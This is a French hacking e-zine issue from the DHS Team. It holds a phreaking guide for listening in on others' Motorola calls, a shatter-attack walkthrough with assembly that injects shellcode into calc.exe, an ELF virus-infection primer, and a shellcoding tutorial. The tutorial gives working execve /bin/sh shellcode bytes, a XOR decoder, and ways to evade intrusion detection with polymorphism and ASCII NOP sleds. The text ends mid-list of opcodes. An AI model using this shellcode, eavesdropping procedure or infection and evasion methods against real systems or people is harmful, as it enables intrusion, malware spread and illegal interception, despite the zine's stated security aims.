TDC Mag N°4

DHS Team- The Dealer Hack Security Team

*************************************************************
\\\\\\\\\\\\\\\\\\\\\\\\ooooooooo:::::TDC Mag N°4:::::ooooooooo//////////////////////

**************************DHS Team Contacts**************************
DHS Team Fondator & Webmaster : A-bone => alex.bone@caramail.com
DHS Team Admin & Rédacteur : Nocte => slickers@6sens.com
Forum Co-Administrator & Rédacteur : deepfear => deepfear@netcourrier.com
***********************************************************

/////////////////////////////////////////////////////////////////////////////////////////////////
SOMMAIRE
/////////////////////////////////////////////////////////////////////////////////////////////////

1 - EDITO : TDC N°3
2 - PHREAKING : Ecouter les conversation d'autrui avec un Motorola-PART 1 - Freaker (DHS Moderator)
3 - HACKING : Vulnérabilité architecturale de Windows / Shatter Attacks- Etherlord (DHS Moderator)
4 - VIRUS : Introduction aux virus ELF - deepfear
5 - SHELLCODING : Fun and Games with Evoluates Shellcodes - Nocte
6 - failles: DHS Security Advisories - DHS Team Admin
/////////////////////////////////////////////////////////////////////////////////////////////////

=====================================================================
1. EDITO.
=====================================================================

Deux mois après l'issue 3, DHS Team signe là le 4 numéro de TDC Mag, un e-zine axé Hacking Security. Notre Team taff très dur actuellement (note de A-bone : a qui le dis-tu ??) en vue de l'imminente sortie du nouveau site officiel de DHS Team ainsi que du Challenge DHS. N'oubliez pas que, chaque semaine, DHS propose sur son forum des Défis orienté Programmation Sécurisée.
Ce numéro est centrée sur la sécurité, comme les autres. A noter un article court sur les virus ELF mais qui aboutira dans la numéro prochain a la programmation d'un virus sous unix. Suit un article de niveau élite basé sur les Shellcodes polymorphiques.
Une nouvelle section apparaît : DHS Security Advisories. En effet, entre les deux numéros de TDC Mag, DHS Team a pris la résolution de s'investir davantage dans la découverte de failles applicatives et techniques. Ainsi deux Buffers overflow dans WIndows ont été découverts et une faille majeure sur le serveur de Caramail. Avec un esprit de sécurité, nous avons averti tant Caramail que Microsoft. Je n'en dis pas plus, découvrez la suite vous même. NOus publions ausis un full-disclosure sur 2 failles majeures découvertes sur notre WebSite !)

Oui, DHS s'investit dans la Sécurité. Comment lier Securité et Hacking ? Les liens sont très étroits ! En effet, comment bien se sécuriser si nous ne connaissons les différentes méthodes d'attaques pouvant être mise en oeuvres ? Ce n'est qu'en connaissant son ennemi qu'on est le mieux à même de s'en protéger...
Notre objectif est d'aider des sociétés et particuliers à prendre conscience de la nécessité de revoir leur stratégie de sécurié et leur insulfer le désir d'apprendre à connaître, comprendre les rouages internes des techniques d'attaques, du fonctionnement des réseaux... C'est ça le véritable sens du terme "hacking" (trop souvent dénigré par des boards de djeunz qui mélangent sexe et piratage de script-kiddies...)

=====================================================================
2 . PHREAKING : ECOUTER LES CONVERSATIONS D'AUTRUI AVEC UN MOTORLA - PART 1
=====================================================================

Avant de commencer j'aimerais tout d'abord vous demender de ne pas utiliser ces informations à des fins illégales,merci. Je - et DHS aussi - ne suis en aucun cas responsable de l'utilisation que vous ferez de cette information. Bon maintenant on commence

Premièrement commençons par énumerer quelques codes :
# Pour initialiser
08# Active l'écouteur du phone
07# Désactive l'écouteur
47x# Commande pour contôler le volume (x varie entre 1 et 7 (1 min 7 max))
11(c.n)# Connecte à la chaîne de transmissions (c.n=canal de transfert 3 chiffres maximum)

Voyons maintenant d'autre code pour motorola
45# Donne la force du signal de votre canal
10# Active l'emmeteur
09# Désactive l'éméteur
05# Active la porté de la transmission
06# Désactive la porté de la transmission
40# Donne desinfo sur le canal de voix

1 -Prends ton cellulaire
2 -entre le test mode code de ton cellulaire (si tu le connais pas cherche le sur : http://mobile.box.sk ) ou dans la bible du motorola disponible par email freakerz@caramail.com
3 -presser # pour entrer dans le mode
4 -08# pour activer le récepteur Rx
5 -10# pour activer ton émeteur Tx
6 -11xxx# xxx étant une variable (voir plus bas)
7 -espère peut être avoir une conversation
8 -45# pour la force du signal
9 -force du signal >75 sinon changer de canal
10-05# active la porté de transmission
11-excuse toi de t'introduire ainsi dans leur conversation
12-06# désactive la porté
13-écoute la conversation
14-déconnecte toi

- Comment savoir le canal sur lequel on est? Très simple:
40# cette commande te permets de savoir le canal (attention, la valeur donnée est en hexadécimal). Lorsqu'on l'entre une chaine de caractère apparait du type 325-00142d6.Les tois premiers caractères ne nous interréssent pas.
Regardons 00142d6 : le "0" ne sert à rien.
Prenons le "014"
convertissons "014" en binaire :
0===>0000
1===>0001
4===>0100
ce qui nous donne 000000010100
Laisons les deux premiers bits nous obtenons 0000010100
convertisons en decimal nous obtenons 020
Et ceci est le canal. Il est recommandé d'utiliser trois téléphone :un pour écouter, un pour parler, un pour scanner avec la commande #40.
Essayer ceci sur d'autres marque de mobile, mes tests se sont portés uniquement sur des Motorola.
J'espère que vous apprécizrez ce petit article.
enjoy and have fun.

To be continued...

=====================================================================
3 . HACKING : VULNERABILITE ARCHITECTURALE DE WINDOWS / SHATTER ATTACKS
=====================================================================

---------------------------------------------------------
Vulnérabilité architecturale du système opératif Windows
---------------------------------------------------------
And remember - if it ain't broke, hit it again - [C.Paget]

1. Introduction
===========
Le document présent est principalement livré à titre informatif quant à la sécurité liée au système opératif Windows. Le système Windows présente une vulnérabilité architecturale qui rend délicate la "sécurisation forte" d'un serveur. Il faut être conscient de cette vulnérabilité. Les administrateurs et les développeurs trouveront au chapitre 5 quelques recommandations pour limiter l'exploitation de cette vulnérabilité.

La démonstration du présent document est limitée à l'exploitation théorique (l'application utilisée pour la demonstration n'est PAS exploitable par ce procedé pour augmenter ses privilèges puisque elle est executée avec les crédit de l'utilisateur. L'exploitation de cette vulnérabilité s'applique à tous les processus de Windows
ayant les privilèges SYSTEME (il y en as plusieurs, je vous laisse les trouver..), toutefois il faut être conscient que l'application de la théorie ne nécessite que des connaissances de base de la programmation des APIs Windows. Un exploit pour cette vulnérabilité peut être envoyé sous forme de texte par e-mail ou récupéré sur une page web pour être ensuite compilé en local par l'utilisateur en utilisant les utilitaires Windows installés par défaut debug.exe,
peut également compiler). Donc même une acompte Invité présente cette vulnérabilité.

2. Les messages systèmes Windows
=========================
Les applications qui tournent sur le système opératif Windows sont entièrement contrôlées à travers un mécanisme de message. Quand une touche est activée, un message est envoyé à la fenêtre active de l'application qui spécifie qu'une touche a été activée. Quand Windows décide de redessiner une partie de l'écran, il envoie un message a
l'application. En réalité, tous les événements qui prennent place dans le système et dont l'application peut avoir besoin sont transmis avec ce mécanisme de message. Ces messages sont places dans une mémoire tampon et sont exécutés par l'application dans leur ordre d'arrivée.

C'est un mécanisme très fiable pour contrôler les applications. A priori. En effet, sur les architectures Windows, ce mécanisme est mal conçu. N'importe quelle application peut envoyer un message à n'importe quel fenêtre qui est présente sur le système, indépendamment du fait que l'application soit propriétaire ou nom de la fenêtre à laquelle elle adresse un message. Il n'y a aucun mécanisme pour authentifier la source d'un message. Un message provenant d'une source malicieuse n'est pas discernable d'un message provenant du noyau du système. C'est cette absence d'authentification qui peut être exploitée, prenant en considération que les messages peuvent êtres utilisés pour manipuler des fenêtres et donc les processus qui en sont propriétaires.

Au niveau de la sécurité, on obtient ici un moyen facile d'escalader les privilèges d'un acompte. Pour exploiter cette attaque, il est nécessaire a priori de disposer d'un accès physique à la machine (en réalité, l'exploitation a distance est possible, elle nécessite une étape supplémentaire qui est l'exploitation d'un service réseau), toutefois cette attaque permet d'obtenir des privilèges administrateur depuis n'importe quel compte, y compris un compte invité.

3. Les dépassement de mémoire tampon (buffers overflow)
========================================
Les dépassements de tampon apparaissent lorsqu'un programme essaye de stocker plus de données dans un tampon (zone temporaire de stockage de données en mémoire) que ce dernier n'est capable de prendre en charge. Les tampons sont à l'origine crées pour contenir un nombre de données définies, l'information supplémentaire (qui doit aller quelque part) peut écraser les tampons adjacents, modifiant les données valides contenues dans le tampon adjacent. Lorsqu'un de ces tampons fait partie de la pile d'exécution (stack), il est possible de modifier le flux du programme et de lui faire exécuter du code arbitraire. Le code sera alors exécuté avec les privilèges de l'application exploitée, et non ceux de l'utilisateur.

Les dépassements de tampons sont à l'origine de nombreuses exploitations. A l'origine, une exploitation utilisant les dépassements de mémoire tampon nécessite une application "buggé" (Soit en utilisant des fonctions qui présentent ce problème (en C: strcat(), strcpy(), sprintf(), vsprintf(), bcopy(), gets(), et scanf()), soit en introduisant des erreurs dans le code). Avec le système de messages Windows, même une application protégée contre les dépassement de mémoire tampon peut être exploitée, puisqu'il est possible de supprimer la protection mise en place par le programme
si cette protection repose sur les mécanismes Windows (protection par un paramétrage de l'objet).

4. Exemple de modification d'un executable livré avec le système.
=============================================

Ici sera seulement démontrée la partie qui vise à modifier un exécutable à priori fiable, pour le rendre vulnérable à une exploitation par dépassement de mémoire tampon. A l'origine, l'exécutable est protégé contre ce type d'attaque (champs d'entrée de la donnée limité en taille). Des démonstration plus complètes sont disponibles sur internet (exploitation de la console anti-virus McAfee).

Ce dont il faut bien prendre conscience, c'est que la majorité des entreprises qui travaillent avec des systèmes Windows ont toutes un environnement commun, et probablement des stratégies communes. On peut parier que la plupart des industries disposent de protection Anti-virus. Il y as de grande chances pour que ces anti-virus soient très répandus (Norton, McAfee, Trend). On peut également imaginer que la suite Office est présente dans de nombreuses industries. Il est donc très facile a quiconque dispose de bases en programmation d'installer ces logiciels chez lui et de tranquillement établir les programmes nécessaires à l'exploitation de ces produits très répandus. La phase d'attaque consisterait alors qu'au déploiement sur la machine cible d'un exécutable. N'importe quel utilisateur 'légal' d'un réseau est apte à mener à bien ce type d'attaque puisque qu'un compte 'invité' (guest) suffit à l'exécution de l'exploit.

L'exploitation du système de messages Windows peut être étendue a toutes les applications Windows.

4.1.Calc.exe
------------
Le but principal de cette attaque est de modifier les propriétés d'un champs de manière à le rendre vulnérable à l'exploitation d'un dépassement de tampon (buffer overflow). Les différentes étapes de l'attaque consistent à :

- Identifier une sous-fenêtre de l'application (par exemple, une boite d'édition) et obtenir son "handle" (identifiant Windows). - Supprimer les restrictions liées à la longueur du message qui peut être entré dans la boîte d'édition.
- Coller un morceau de code exécutable dans la boîte d'édition précédemment modifiée.
- Forcer l'application à exécuter le code soumis.

Pour l'exemple, nous n'effectuerons que les deux premières étapes avec programme calc.exe (installé par défaut sur tous les OS Windows). La troisième étape est assez simple au niveau programmation (API SetDlgItemTextA), quand à la 4ème, il ne s'agit que de modifier l'adresse de retour d'un 'shellcode' par rapport à l'application exploitée. Ce dernier point n'étant pas le but de ce document, il sera laissé de coté.

La première étape consiste à localiser un contrôle d'édition ou de même type, un contrôle dans lequel on puisse injecter des informations. Les restriction éventuelles sur ce contrôle peuvent être désactivée. Il nous faut ici un logiciel qui soit capable de lister pour un processus particulier les propriétés de cette application (nom de classe, identifiant Windows, etc.). Pour notre exemple, l'utilitaire Spy & Capure Version 2.70 a été utilisé. Ce
logiciel liste les processus tournant en mémoire, et la sélection d'un processus permet d'obtenir les informations recherchées:

Pour la deuxième étape, il s'agit d'adresser la boîte d'édition de la calculatrice. Par défaut, cette boîte d'édition n'autorise que l'insertion de 32 caractères.
La boîte d'édition étant considérée par le système comme une sous-fenêtre de l'application calculatrice, nous pouvons trouver son identifiant en recherchant d'abord l'identifiant de l'application "calculatrice" à l'aide des informations trouvées précédemment :

;---------------------------------------------------------
; Extrait de code assembleur windows 32 bit pour trouver
; l'identifiant de l'application avec FindWindow
.data
lp2ClassName db "SciCalc",0
lp2WindowName db "Calculatrice",0

.code
invoke FindWindow, addr lp2ClassName, addr lp2WindowName
.if eax!=NULL
mov hwndParent,eax ; on enregistre l'identifiant
;---------------------------------------------------------

Une fois l'identifiant de l'application trouvé, on peut rechercher l'identifiant des sous-fenêtres en utilisant l'API FindWindowEx. L'identifiant de la sous-fenêtre va nous permettre d'adresser des messages à cet objet. Avec cet identifiant, on envoie d'abord un message pour supprimer la limite du texte, puis on injecte le code a exécuter dans la boîte d'édition, un appel a WM_TIMER lance l'exécution du code:

;---------------------------------------------------------
invoke FindWindowEx,hwndParent,hwndChildAfter, addr Ed1ClassName
, NULL
; si eax <>0, on as trouve l'identifiant
.if eax!=NULL
mov hwindfirst,eax
; on utilise les messages windows pour supprimer la limitte
invoke SendMessage,hwindfirst,EM_SETLIMITTEXT,ExtSize,NULL
; on injecte le shellcode
invoke SendMessage,hwindfirst,WM_SETTEXT,NULL,addr ShellCode
; on execute le shellcode avec WM_TIMER
invoke SendMessage,hwndParent,WM_TIMER,1,hwindfirst
;---------------------------------------------------------

5. Les Solutions Possibles :
===================
Il n'y a pas de réelle solution pour ce problème. La vulnérabilité étant liée à l'architecture Windows, pour résoudre le problème il faudrait que le système puisse :

- Interdire la transmission de messages entre des applications disposant de privilèges différents. (Un processus 'invité' ne devrait pas pouvoir envoyer un message de commande à un processus 'local system')

- Ajouter une information dans le message sur la source, et laisser l'application décider si elle doit ou ne doit pas prendre en compte le message.

Malheureusement, les fonctions nécessaires pour exécuter cela sont absente du système d'exploitation Windows. Pratiquement, il n'y a pas de solution simple possible. Microsoft est conscient du problème depuis des années, il y a eus plusieurs tentatives pour modifier ce comportement mais toutes les tentatives ont finalement apporté plus
de problèmes qu'elles n'en résolvent.

Les administrateurs et développeurs trouveront quelques conseils ci-après pour limiter l'exploitation de cette vulnérabilité. Ce ne sont que des conseils. Le système Windows présentant énormément de situation critiques, la sécurisation à 100% du coté application ne seras probablement jamais possible.

Administration des serveurs :
-----------------------------
- S'assurer qu'un serveur sensible soit physiquement inatteignable par les personnes qui n'ont pas à accéder à ce serveur (ne JAMAIS négliger la sécurité physique pour un serveur)

- Supprimer du serveur toutes les application installées par défaut qui ne sont pas nécessaire (supprimer physiquement les exécutables, les plus dangereux étant : debug.exe, cmd.exe, telnet.exe, mplay.exe) qui permettent l'exploitation ou peuvent êtres exploités. Certaines de ces applications devraient impérativement êtres supprimées).

- Ne pas exécuter d'application avec des privilèges supérieurs à ceux nécessaires au bon déroulement de l'application (ne pas installer un agent avec des privilèges LOCAL_SYSTEM si des privilèges BACKUP_OPERATOR sont suffisant).

Développement :
---------------
- Lors de la validation d'une donnée entrée par un utilisateur, ne JAMAIS se fier à une limitation définie par le système sur un objet (par exemple, longueur maximale d'un champs edit). TOUJOURS "sanitiser" une donnée utilisateur par un traitement interne au programme.

- Vérifier en "live" que les paramètres des objets modifiables par messages n'ait pas étés modifiés après le lancement du programme dans le cas d'un élément critique (Interaction avec l'utilisateur ET le système).

08/05/02 - Présentation de la vulnérabilité par Symeon Xenitellis à la conférence IFIP/SEC2002
07/07/02 - S.Xenitellis rend la vulnérabilité publique a travers plusieurs listes dédiées à la sécurité.
08/07/02 - Présentation de la vulnérabilité par S.Xenitellis à la conférence ECIW
01/08/02 - Report de la vulnérabilité et présentation de l'exploit "shatter attack" par Chris Paget (NGSS Software) à Microsoft.
05/08/02 - Microsoft minimise le problème, et considère que cela n'est pas lié à la sécurité car l'exploitation implique soit que l'utilisateur exécute du code malicieux sur sa machine soit que l'attaquant ait accès physique à la machine. (C'est oublier le principale problème: escalade de privilèges)
05/09/02 - Microsoft reconnaît le problème dans une réponse publique en signalant qu'il sont au courant du problème depuis 1994 (article publié dans le Knowledge Base Microsoft)
11/12/02 - Première publication par Microsoft d'un patch censé adresse une partie du problème (MS02-071 : Exploitation du message WM_TIMER).
17/12/02 - Microsoft met à jour les informations du bulletin MS02-071.
03/02/03 - Le patch est retiré, car il cause des problèmes sur le système Windows NT
07/02/03 - Un nouveau patch est publié, le bulletin MS02-071 est mis à jour. Le patch n'adresse toujours que WM_TIMER (symptôme), en laissant de coté toutes les autres vulnérabilités liées (cause du problème). Microsoft signale que les "good coding practices" impliquent que les services qui interagissent avec le bureau ne doivent pas tourner avec des privilèges élevés. Le point délicat ici, c'est qu'une installation par défaut de Windows installe beaucoup de services qui interagissent avec le bureau et disposent des privilèges LOCAL_SYSTEM (un des privilège les plus élevé qu'il soit possible d'obtenir sous Windows).

Références:
-----------
- Messages and Event-Driven Programming
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnw98bk/html/messageseventdrivenprogramming.asp

- Microsoft Security Bulletin MS02-071
Flaw in Windows WM_TIMER Message Handling Could Enable Privilege Elevation (328310)
http://www.microsoft.com/technet/treeview/?url=/technet/security/bulletin/MS02-071.asp

- A New Avenue of Attack: : Event-driven system vulnerabilities
http://www.isg.rhul.ac.uk/~simos/event_demo/

- Windows Still Image Privilege Elevation (A090700-1) - @stake Inc Security Advisory
http://www.atstake.com/research/advisories/2000/a090700-1.txt

- Shatter Attacks - How to break Windows
http://security.tombom.co.uk/shatter.html

=====================================================================
4 . VIRUS : INTRODUCTION AUX VIRUS ELF (Part I)
=====================================================================

Introduction :
Un exécutable au format ELF est compose d' une en-tête ELF suivi d' une table de programmes ou de sections ou des deux . l' en-tête ELF est tjrs au tout début du fichier tandis que les deux autres tables, ils sont situés selon la définition de l' en-tête ELF .
Cet exécutable s'organise sous la forme suivante : (figure 1-1 )

- En-tête ELF : contient les informations qui décrit l' organisation du fichier .
- Table d' en-tête de programme : indique au système comment créer l'image du processus (figure 2) .
- Segment 1 (texte) : c' est la zone ou contient le code qui sera exécute .
- Table d' en-tête de sections : tous simplement elle décrit les sections du fichier .
- Les sections : contiennent les données brutes d' informations du fichiers : instructions, données , table de symbole …

1-2 segment texte (T)
3-4 segment donnée (D)
(P) : padding (remplissage) il sert a compléter les segments pour que chaque page fasse ( c' est a dire chaque segment doit être multiple de 4ko ) .
(PAGE_SIZE = 4ko pour linux x86 [man getpagesize ] pour savoir la sienne ;) )

Virus :
Pour infecter un Elf on va essayer de faire une copie et d insérer le code malicieux dedans .
Puisque le segment texte contient le code qui sera exécute , le virus doit être insérer dans ce segment .
Si on modifie le S.T (segment texte) on risquera d' avoir des problèmes donc il sera préférable de l' insérer après le segment le segment texte (comme le montre la figure 1-2) en ajoutant une page qui sera termine par des 0 pour quelle soit égale à PAGE_SIZE .
En comparant la figure 1-1 et 1-2 on remarque que les offsets de certains segments doivent être changer notamment celui du segment 2 (donnée) ou il faut ajouter la taille du virus a son offset . sinon on va ajouter la taille du virus a la taille du segment texte pour qu'il soit admis comme une partie de ce segment et qu il soit charger .
En ce qui concerne la partie section : si
{
la table d' en-tête de programmes est situe avant celle de sections(la table d' en-tête de section est situe après le virus ;) figure 1-2 ) on ajoute PAGE_SIZE a l' index de section et a chaque offset de sections ;
}
sinon { on fais rien ; // figure 3 }

Pour faire exécuter le virus, il faut que le flux d' exécution (point d' entrée ELF) contienne l' adresse du code du virus .
L' adresse du virus est l' offset du début du segment texte + sa taille voir figure 1-2 .
NB : faut pas oublier de rendre la main J au vrai code (prg) pour que le programme s'exécute normalement .
Voilà l'étude théorique est finis , le prochain article sera de la pratique (le créer J ).
Si vous n' avez pas compris relisez le bien en utilisant les figures sinon y a le forum ;) .

=====================================================================
5 . SHELLCODING: FUN AND GAMES WITH EVOLUATES SHELLCODES
=====================================================================

--------------------------------------------------------
Sommaire :
--------------------------------------------------------
- 1. Maman comment on fait un shellcode ?
- 2. Shellcodes optimisés
- 3. Shellcodes pour BOF
- 4. Shellcodes polymorphiques:camoufler un shellcode
- 5. Shellcodes invincibles
* planquer les nops
* modifier l'adresse de retour
* camoufler le shellcode
- 6. Conclusion
- 7. Références
--------------------------------------------------------

Depuis quelques années, les failles de buffer overflows se sont très vite répandues, dans tous les systèmes existants, tant Windows, que Linux, voire FreeBSD. Un hacker ne s'arrêtera pas à la découverte d'une faille. Le but étant avant tout une meilleure sécurisation du système, il cherchera toujours à approfondir les points faibles, afin de mieux s'en protéger.
Quand un hacker découvre une faille de buffer overflow, par exemple, il voudra l'exploiter pour récupérer un shell. Certains diront ques les buffer overflow sont des failles si anciennes et tellement passées en revues qu'elles sont, pour ainsi dire, dépassées. Certes, il existe plusieurs dispositions pour éviter ce genre de trous de sécurités comme des auditeurs de codes (slint), des bibliothèques d'allocations sécurisées (libstafe) ainsi que des compilateurs spéciaux (StackGuard)... Mais, malgré tout, l'expérience prouvent que ce genre de failles sont toujours possibles surtout sur des systèmes d'exploitations dont le nombre de lignes de codes est astronomiques. Obtenir un shell (un interpréteur de commande, car on peut très bien prendre de le cas d'une telle faille dégottée sur un système Microsoft) est le rêve car on pourra ainsi passer toutes les commandes que l'on veut avec, en général, les droits de root (évidemment, cela dépend sur quel processus la faille a été découverte, s'il des privilèges, le bit setuid root...). Evidemment, avant de parler de shellcodes évolués, une explication s'impose quant aux shellcodes de bases. Evidemment, ces points n'ont pas été découverts par moi même, mais approfondire des découvertes permet de réaliser de beau bijou, dans le domaine des shellcodes ;)

1. MAMAN, COMMENT ON FAIT UN SHELLCODE ?
---------------------------------------------------------------

Déjà faisons une brève mais nécessaire, présentation.
Un shellcode est un bout d'exécutable (mois d'un ko) qui a pour rôle une tâche : exécuter un process, manipuler un fichier, binder un shell... Son utilité principale est d'être injecté : un shellcode est placé dans l'espace d'exécution d'un process pour y être exécuté avec les privilèges du process. Evidemment, le but recherché (pour des shellcodes injectable dans des buffers) sera de le rendre le plus petit possible afin de pouvoir exploiter des buffers très petits. Un shellcode ne doit contenir aucun caracètre nul dans son code (car cela le tronquerait) et ne doit posséder aucune adresse absolue (car son adresse même d'injection est inconnue). Voilà pour la fiche d'identité. Passons à leur programmation.

void shellcode()
{
char * name[];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
return (0);
}

Par soucis d'optimisation et de gain en taille, on zappe le "_exit(0)" pour execve(). De toute façon, notre shellcode ne plantera pas ;) Ensuite, on le compile et le désassemble via gdb :
gcc -o shellcode -static shellcode.c (static est obligatoire pour l'adressage mémoire).
On apprend ce que contiennent les registres :
- %eax : num du syscall execve() => 0xb
- %ebx : ptr sur "/bin/sh"
- %ecx : ptr sur tableau. Le tavleau d'arguments contient le ptr sur "/bin/sh" et un ptr NULL
- %edx : ptr sur tableau d'environnement. C'est facultatif, dc on s'en fout, on le met à NULL.

IL ne nous manque que l'adresse de la string "/bin/sh". On utilise la technique jmp/call. Si on place un call avant la chaîne de caractère et un jump dessus (le call sera donc négatif), l'adresse sera pushée en tant qu'adresse de retour sur la stack quand le call sera exécutée :

jmp adr
popl %esi // on récupère l'adresse de "/bin/sh"
... // shellcode
adr:
call adr
/bin/sh

A présent que nous avons tout, nous pouvons coder notre shellcode générique, très basique :

toto:
popl %esi // on récupère l'adresse de "/bin/sh"
movl %esi,0x8(%esi) // on l'écrit dans la table
xorl %eax,%eax // on oublie pas le nul de fin de chaîne
movl %eax,0xc(%esi)
movb %eax,0x7(%esi) // on place \0 en fin de chaîne
movb $0xb,%al // execve()
movl %esi, %ebx // la chaîne se retrouve dans %ebx
leal 0x8(%esi),%ecx // %ecx contient la table arguments
leal 0xc(%esi),%edx // %edx contient la table environnement
int $0x80 // syscall
xorl %ebx,%ebx // code de retour nul
movl %ebx,%eax // %eax = 1
inc %eax
int $0x80 // on passe la main au kernel qui gère le syscall

Abordons un point : ici, on a mis %eax à 0 pour ensuite copier %eax, c'est à dire 0, dans %esi :
movl %eax,0xc(%esi)
movb %eax,0x7(%esi)
a priori, on aurait envie de faire plutôt :
movl $0x0,0xc(%esi)
plutôt que de passer par un registre intermédiaire. Or, vous noterez que cet opcode est plus long. Alors qu'un xor %eax, %eax ne prend que 2 bytes, un mov $0x0, 0x7(%esi) prend le double!
D'où l'importance de bien choisir ces opcodes suivant le nombre d'octets qu'ils utilisent afin de gagner en optimisation (on en reparlera plus bas, mais sur un autre point).

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() {
void (*sh)()= (void *)shellcode;
sh();
}

Plus qu'à compiler... On se retrouve avec un shellcode de 40 octets qui effectue un simple execsh... C'est peu mais on peut faire mieux ;)

Pourquoi vouloir créer des shellcodes petits ? Eh bien, pour pouvoir exploiter des buffers petits. En effet, vous verrez rarement un buffer de 800 octets, en général il déplacent des chaînes de caractères où des octets et sont donc petits. Notre but à nous sera donc de réaliser des shellcodes de plus en plus petits... Ce doit devenir une étape essentielle dans la réalisation d'un shellcode.
Pour ce faire, on va abandonner notre schéma de construction de shellcode, vu précédemment et penser à un nouveau : on va pusher tous les arguments sur la stack pour réaliser un shellcode minuscule... ça nous donnera en asm :

xor %eax,%eax // le \0 qui termine la string
push %eax
push $0x68732f6e
push $0x69622f2f // on push la chaîne
mov %esp,%ebx // "bin/sh" dans %ebx
push %eax // ptr NULL
push %ebx // on pushe l'adresse de "/bin/sh"
mov %esp,%ecx // adresse du pointeur sur tableau dans %ecx
mov %11, %al // on appelle execve()
int $0x80 // on passe la main au syscall

le lecteur attentionné remarquera que, quand on push la chaîne, on l'inverse (à cause du little endian... notez également qu'on push "n/sh" et "//bi". On double le slash car notre string fait 7 octets et sur la stack la règle est qu'on doit pusher 4 octets par 4, donc on s'arranger pour que notre chaîne soit un multiple de 4 en doublant le slash.

On compile : gcc -o shellcode shellcode.c"
Et c'est dans la poche :)

char shellcode[] =
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";

Et voili : un shellcode de 23 octets qui lance un shell ;) ça c'est de l'optimisation.
Un shellcode peut bien sûr, faire plus qu'un simple execve(2) d'un shell. Il peut binder un shell, manipuler des fichiers, créer des connexions de retour...
Mais l'optimisation ne s'arrête pas à la taille du shellcode. Il faut ensuite pouvoir les rendre furtifs aux IDS...

3. SHELLCODES POUR BUFFER OVERFLOWS
-------------------------------------
Prenons le cas simpliste d'un shellcode codé pour epxloiter un buffer overflow. Il ne contient pas seulement le shellcodes proprement dit. il se compose en différentes morceaux :
- des NOP (Null OPerations, 0x90) qui servent à remplir le buffer vulnérable
- le code du shellcode
- l'adresse de retour qui pointe dans les NOPS.

Quand la fonction contenant le buffer vulnérable se termine, par l'opcode "ret", l'exécution se poursuit quelque part dans les NOPS car l'adresse de retour réelle est overwrittée par la nouvelle adresse de retour, qui renvoie au shellcode.
Pourquoi placer des NOPS ? Premièrement, ils servent à combler le buffer vuln. Et deuxièmement, ils ont pour rôle de récupérer le flux d'exécution à partir de l'adresse de retour estimée. Par définition, one ne sait pas combien de NOPS seront exécutés au moment de l'exploitation. Plus la plage de NOPS est grande, plus il y aura de chance que l'adresse de retour estimée soit bonne. En général, la taille de la la plage des NOPS est de l'ordre de quelques Ko.
Etant donné qu'un shellcode se décompose en ces 3 parties nous allons camoufler ces composants pour que notre shellcode soit réellement furtif.

4. SHELLCODES POLYMORPHIQUES : CAMOUFLER UN SHELLCODE
------------------------------------------------------------------------------------

Pourquoi vouloir réaliser des shellcodes polymorphiques ? Les IDS actuels utilisent des images de shellcodes classiques pour les détecter (trace de /bin/sh ou du syscall 0x80). Pour parer à cela nous allons crypter notre shellcodes. Afin qu'on ne puisse le détecter par signature, l'idée présentée ici est de réaliser un moteur de mutation polymorphiques afin que le shellcodes soit à chaque fois différent. En effet, si le décodeur du shellcode crypté ne peut prendre qu'une seule forme, il pourra être plus facilement détecté. En revanche, s'il en prend plusieurs, sa détection sera beaucoup plus complexes.
L'idée se base sur les moteur de mutations polymorphiques viraux. Cependant, pour un virus, il est nécessaire de posséder l'encodeur et le décodeur. Dans notre shellcode optimisé, nous n'aurons besoin que du décodeur. On produira chez nous notre shellcode original ainsi que l'encodeur. Puis, dans la stack du programme vulnérable, on aura :

SHELLCODE POLYMORPHIQUE : Décodeur + clef + shellcode encodé. La disposition des données doit être afin que la shellcode original soit reconstruit de manière automatique, soit à la place du shellcode encodé, soit dans une autre partie de la stack).
Concrètement, le chiffrement est une fonction XOR à clef glissante. La taille de la clef est de deux mots longs de 32 bits : le premier mot est la valeur initiale de la clef et le deuxième la valeur d'incrémentation.
Passons au coding => Voici le décodeur fait maison, decoder.S :

// key offset = <dec_start+4>
// slide offset = <dec_start+16>
// taille original du shellcode = <dec_start+11>

decode:
xorl %ebx, (%esi)
addl $0x42424242, %ebx
addl $0x4, %esi
loop decode
jmp decoder_end

Ensuite, on pourra réfléchir à la programmation d'un générateur de shellcode polymorphique.

Encore un peu de coding pour pas que ce paper soit trop vide :) Admettons qu'on veuille xoriser notre shellcode avec 0x01 par exemple. Eh bien,notre décodeur sera :

//décrypteur du shellcode
"\x68\x5e\x56\xc3\x90\x8B\xcc\xff\xd1\x83\xc6\x0e\x90\x8b\xfe\xac"
"\x34\x01\xaa\x84\xc0\x75\xf8"

puis notre shellcode xorisé (et, auparavant le décrypteur une série de nops si vous avez bien suivi... j'en vois qui dorme au fond de la classe, là!)

La plus grande partie du shellcode est composée des quelques milliers de bytes de NOPS. Ce sont eux qui sont les plus facile a repérer car la séquence est fixe : 0x90 pour une architecture Intel-32. Leur but est seulement dincrémenter le registre %eip pendant un cycle d'horloge. Il sont ausis utilisé par les compilateur pour garder l'alignement sur des adresses multiples de 4, 8 ou 16 octets. Comme le but est de remplir le buffer vulnérable, on peu, plutôt que d'utiliser des NOPS, se servir de n'importe quelle instruction d'un octet qui modifie n'importe quel registre que le shellcode n'utilisera pas. On pourra, par exemple, utiliser l'opcode 0x41 qui ocrrespond à 'inc %ecx' mais aussi au caractère ASCII 'A'. Voici les 36 opcodes qui ont une correspondance ASCII :

0x27 daa
0x2F das
0x3F aaa
0x40 aas
0x41 inc %eax
0x42 inc %ecx
0x43 inc %edx
0x44 inc %esp
0x45 inc %ebp
0x46 inc %esi
0x47 inc %edi
0x48 dec %eax
0x49 dec %ecx
0x4A dec %edx
0x4B dec %ebx
0x4C dec %esp
0x4D dec %ebp
0x4E dex %esi
0x4F dec %edi
0x50 push %eax
0x51 push %ecx
0x52 push %edx
0x53 push %ebx
0x54 push %dsp
0x55 push %ebp
0x56 push %esi
0x57 push %edi
0x58 pop %eax
